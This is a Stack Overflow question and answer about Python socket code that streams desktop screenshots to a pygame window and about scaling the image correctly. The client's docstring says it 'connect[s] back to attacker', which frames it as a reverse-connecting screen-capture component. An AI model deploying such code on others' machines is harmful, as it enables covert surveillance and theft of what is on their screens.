0

Problem

Basically I have this code to streaming the desktop screen. The problem is that when I will try to resize the screen of server (server will receive the images) the image stay cutted/distorted

My try of resize the window: enter image description here

What is supposed to be (simulation): enter image description here

Question

Which alteration is need to resize correctly the window of image streaming?

Thanks in advance.

Server

import socket
from zlib import decompress

import pygame

#1900 1000

WIDTH = 600
HEIGHT = 600

def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not   data:
            return data
        buf += data
    return buf


def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
    pygame.init()

    screen = pygame.display.set_mode((WIDTH, HEIGHT))

    clock = pygame.time.Clock()
    watching = True

    #x = sock.recv(1024).decode()
    #print(x)

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #.frombuffer(msg,(320,240),"RGBX"))


            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()  

Client

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

import sys
from PyQt5 import QtWidgets

app = QtWidgets.QApplication(sys.argv)

screen = app.primaryScreen()
size = screen.size()

WIDTH = size.width()
HEIGHT = size.height()

print(WIDTH, HEIGHT)
WIDTH = 600

HEIGHT = 600

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)

            print(img)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 0)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            try:
                    conn.send(bytes([size_len]))

            except:
                    break
                 
            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.15.2', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))

    
    try:
        #sock.send(str('123213213').encode('utf-8'))
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()
Black Coral
  • 55
  • 2
  • 6
  • Seems like you'd have to change `WIDTH` and `HEIGHT` on both the client and server at the same time, as your code is currently written. However since the client code is what takes the screenshot, and the server code is just displaying whatever it receives, you could send over the dimensions along with the screenshot from the client. The server would just set its window dimensions to the ones sent from the client. Have you tried anything like that yet? – Random Davis Jan 11 '21 at 16:43
  • Yes, I'm changing the WIDTH and HEIGHT in both the scripts, but, the image stay cutted (like the first example) :/ – Black Coral Jan 11 '21 at 16:47
  • Btw, the client and the server need to stay with the same WIDTH and HEIGHT, or the server will return this error: img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB') ValueError: String length does not equal format and resolution size – Black Coral Jan 11 '21 at 16:51
  • oh so the issue is that you're cropping a portion of the screen with the screenshot rather than taking a screenshot of the whole screen and resizing it to `WIDTH` and `HEIGHT`? What if instead of `scr.grab(rect)` you did `scr.grab(screen.size().width(), screen.size().height()`, sent over the full image, and then resized it on the server side? You could also resize it on the client side before sending. But currently you're only taking a screenshot of the `rect` portion of the screen rather than the whole thing so your issue makes perfect sense to me if that's the case. – Random Davis Jan 11 '21 at 16:51
  • So, how I can resize image in the server side if when I try resize it the python return error? I supposed that to resize the image in th server side I will need to change the WIDTH HEIGHT variables of the server? – Black Coral Jan 11 '21 at 17:03
  • Yes, you could do that, or resize on the client side. For the first case, you would have to change the variables on both the client and server side. You'd have to do that via network communication. Or, to avoid the error, you could send not just the image pixels, but also the resolution; you'd decode the resolution, set your variables to the appropriate values, and then decode the image. Does that make sense? – Random Davis Jan 11 '21 at 17:09
  • Yeah, I did try to do this and works. Basically the client did send the resolution to the server and the server did start the streaming with the correct resolution, ok. But, the window stream of the server side stay big, basically in fullscreen and I'm trying to decrease it (like the second image example), and it is the problem – Black Coral Jan 11 '21 at 17:20
  • So, obviously you need to grab the whole screen region. You're currently not doing that. Then, you need to resize it to the displayed window size. You could do it before you send the image over, or after, but if it's after, you have to not just include the image data, but also the resolution data. Then, when the image is received, instead of using `WIDTH` and `HEIGHT` as the decoding dimensions, you'd use the received dimensions. Is there any part of that that's confusing or that you wouldn't know how to do? – Random Davis Jan 11 '21 at 17:26
  • Like this? https://pastebin.com/bD44Sh88 ///Basically the client send the correct resolution to server and the server use this received resolution from the client – Black Coral Jan 11 '21 at 18:31
  • Well does it work? Just try it and see if it works, maybe. I can't try that code myself, I mean it looks okay, I'm not an expert on sockets or anything so I'm not the most qualified person to determine if your exact implementation is correct. – Random Davis Jan 11 '21 at 18:33
  • Yes, it work, but when I start the video streaming the server open a big window, a fullscreen window and I don't know how to decrease the size of this window, this is the big problem https://imgur.com/a/Pzv0TLF – Black Coral Jan 11 '21 at 18:40
  • Use `pygame.display.set_mode` to set the resolution you want, and then scale the image using Pygame to match the screen size. Here's how: https://stackoverflow.com/questions/20002242/how-to-scale-images-to-screen-size-in-pygame. You can draw the image to a larger surface than your screen, you just need to scale it to match the screen size before you draw it to the screen. – Random Davis Jan 11 '21 at 18:42
  • I'm with some difficulty in this, I'm noob with pygames.I can resize the window but can't resize the image. In the server side have this string to size the image: "img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')" This is the code part that resize the image of server side, but when you change the WIDTH and HEIGHT the python return: "ValueError: String length does not equal format and resolution size" You send me a topic, but the guys was using a resize of a image file, and I did can't find a way to adapt my code to resize with this example :/ – Black Coral Jan 11 '21 at 19:27
  • Okay I looked at your code again. Your server code needs to keep track of its own height and width separately from the client code. You would decode the image using the dimensions received from the client, like `img = pygame.image.fromstring(pixels, (client_width, client_height), 'RGB')` but when you display it, you'd do `picture = pygame.transform.scale(img, (server_width, server_height))`, and then `screen.blit(picture, (0, 0))` instead of blitting `img`. You'd create the screen via `screen = pygame.display.set_mode((server_width, server_height))`. You can define those to be any resolution. – Random Davis Jan 11 '21 at 19:27
  • It is supposed to be right? https://imgur.com/a/DhZuDnV https://pastebin.com/kanwSws4 – Black Coral Jan 11 '21 at 19:49
  • It still looks cut off, so it seems like `sct.grab(rect)` on the client side isn't capturing the full image, or you're not using `picture = pygame.transform.scale(img, ...)` to resize `img` on the server side, or you're accidentally doing `screen.blit(img, ...)` on the server instead of `screen.blit(picture, ...)`. Without seeing your current code it's not clear exactly which issue it could be, that's what I can think of though. – Random Davis Jan 11 '21 at 19:56
  • The client are sending the image of the full screen(the image from client is ok) ant the server will resize, this is the server code: https://pastebin.com/YtRcxfuw – Black Coral Jan 11 '21 at 20:18
  • You didn't really take my suggestions into account about storing the server and client resolution separately. You were never converting the client image to the resolution that the server is using. However I fixed all that and posted it as an answer. Hopefully now you understand what I was explaining to you. – Random Davis Jan 11 '21 at 20:24
  • Thank you so much Davis. I really was trying to implement your suggestion but I was stay with so much difficulty about it. Sorry about that. – Black Coral Jan 11 '21 at 20:31

1 Answers1

1

Your code in your most recent pastebin was nearly correct, but like I said, you have to store server and client resolution separately:

import socket
from zlib import decompress
import pygame
 
def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf
 
 
def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
 
    client_resolution = (conn.recv(50).decode())
    client_resolution = str(client_resolution).split(',')
    CLIENT_WIDTH = int(client_resolution[0])
    CLIENT_HEIGHT = int(client_resolution[1])
    
    #store the server's resolution separately
    SERVER_WIDTH = 1000
    SERVER_HEIGHT = 600
 
    pygame.init()
 
    screen = pygame.display.set_mode((SERVER_WIDTH, SERVER_HEIGHT))
 
    clock = pygame.time.Clock()
    watching = True
 
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break
 
            # Retreive the size of the pixels length, the pixels length and pixels
 
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))
 
            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (CLIENT_WIDTH, CLIENT_HEIGHT), 'RGB')            
            
            #resize the client image to match the server's screen dimensions
            scaled_img = pygame.transform.scale(img, (SERVER_WIDTH, SERVER_HEIGHT))

            # Display the picture
            screen.blit(scaled_img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()
 
 
if __name__ == "__main__":
    main()  

Note that you can, at any point, change the server's resolution, totally independently of what the client's resolution is. Meaning you could make the window resizable even, if you wanted.

Random Davis
  • 6,662
  • 4
  • 14
  • 24